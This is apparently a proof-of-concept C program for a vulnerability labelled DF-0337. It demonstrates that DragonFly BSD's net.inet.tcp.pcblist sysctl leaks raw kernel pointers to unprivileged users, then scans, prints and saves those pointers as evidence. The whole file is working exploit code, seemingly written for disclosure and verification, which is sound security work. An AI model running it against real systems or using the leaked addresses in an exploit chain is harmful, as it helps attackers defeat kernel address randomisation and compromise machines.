/*
 * DF-0337 PoC - tcp_pcblist sysctl info leak
 *
 * sys/netinet/tcp_subr.c:1284-1293 tcp_pcblist() bcopy()s the ENTIRE
 * struct inpcb and struct tcpcb into the exported xtcpcb.  Only
 * xt_socket is sanitized via sotoxsocket().  Every other kernel
 * pointer field (inp_socket, inp_ppcb, inp_pcbinfo, inp_hash list
 * links, inp_route.ro_rt, inp_options, inp_moptions, t_segq,
 * t_inpcb, tt_rexmt/persist/keep/2msl/delack callouts, tt_msg...)
 * is leaked raw to any unprivileged user.
 *
 * The sysctl is CTLFLAG_RD (net.inet.tcp.pcblist) so no privilege
 * is required.  We open a TCP socket so at least one inpcb/tcpcb is
 * live, dump the sysctl, and count how many 8-byte words look like
 * kernel pointers (0xffff8...) -- those are raw kernel addresses.
 *
 * Build:  cc -o leak_pcblist leak_pcblist.c
 * Run:    ./leak_pcblist
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/socketvar.h>
#include <netinet/in.h>
#include <netinet/in_pcb.h>
#include <netinet/tcp_var.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int is_kptr(unsigned long v)
{
    /*
     * DragonFly 64-bit kernel pointers fall in two ranges:
     *   text/data: 0xffffffff80000000 - 0xffffffffffffffff
     *   heap/kmem: 0xfffff80000000000 - 0xfffffbffffffffff
     * Integer sentinel combos like 0xffffffff00000000 (inp_flow=0 |
     * inp_lgrpindex=-1) are NOT pointers and are excluded.
     */
    if (v >= 0xffffffff80000000UL) return 1;  /* kernel text/data */
    if (v >= 0xfffff80000000000UL && v < 0xfffffc0000000000UL) return 1;
    return 0;
}

int main(void)
{
    int s, error = 0;
    struct sockaddr_in sin;
    size_t len = 0;
    char *buf;

    /* Create a live TCP PCB so pcblist is non-empty. */
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0) { perror("socket"); return 2; }
    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_len = sizeof(sin);
    sin.sin_port = 0;
    sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    /* bind() alone keeps an inpcb around without listening. */
    if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
        perror("bind"); /* not fatal */
    }

    /* First call: get length. */
    if (sysctlbyname("net.inet.tcp.pcblist", NULL, &len, NULL, 0) < 0) {
        perror("sysctl len");
        return 2;
    }
    if (len == 0) {
        fprintf(stderr, "pcblist empty (len=0)\n");
        return 2;
    }
    buf = malloc(len);
    if (!buf) { perror("malloc"); return 2; }

    /* Second call: fetch. */
    if (sysctlbyname("net.inet.tcp.pcblist", buf, &len, NULL, 0) < 0) {
        perror("sysctl get");
        free(buf);
        return 2;
    }

    printf("pcblist total bytes: %zu\n", len);
    printf("sizeof(struct xtcpcb): %zu\n", sizeof(struct xtcpcb));

    /* Walk the buffer as xtcpcb records; xt_len is the first field. */
    size_t off = 0;
    int records = 0;
    unsigned long total_ptrs = 0;
    while (off + sizeof(size_t) <= len) {
        size_t rec_len = *(size_t *)(buf + off);
        if (rec_len == 0 || rec_len > len - off) break;
        if (rec_len < sizeof(struct xtcpcb)) { off += rec_len; continue; }
        records++;

        /* Scan every 8-byte aligned word in this record for kernel ptrs. */
        unsigned char *r = (unsigned char *)(buf + off);
        for (size_t i = 0; i + 8 <= rec_len; i += 8) {
            unsigned long v;
            memcpy(&v, r + i, 8);
            if (is_kptr(v)) {
                total_ptrs++;
                if (total_ptrs <= 32) {  /* print first few */
                    printf("  rec %d off %3zu: %016lx\n", records, i, v);
                }
            }
        }
        off += rec_len;
    }
    printf("records: %d\n", records);
    printf("LEAK: %lu kernel-pointer-sized words in pcblist output\n", total_ptrs);

    /* Save raw dump for the evidence pack. */
    FILE *f = fopen("pcblist.dump", "wb");
    if (f) { fwrite(buf, 1, len, f); fclose(f); }

    /* Decision: leak confirmed if >0 kernel pointers in any record. */
    if (total_ptrs > 0) {
        printf("VERDICT: LEAK CONFIRMED (%lu kernel pointers exposed to unpriv user)\n",
               total_ptrs);
        error = 0;
    } else {
        printf("VERDICT: no kernel pointers found\n");
        error = 1;
    }
    free(buf);
    close(s);
    return error;
}
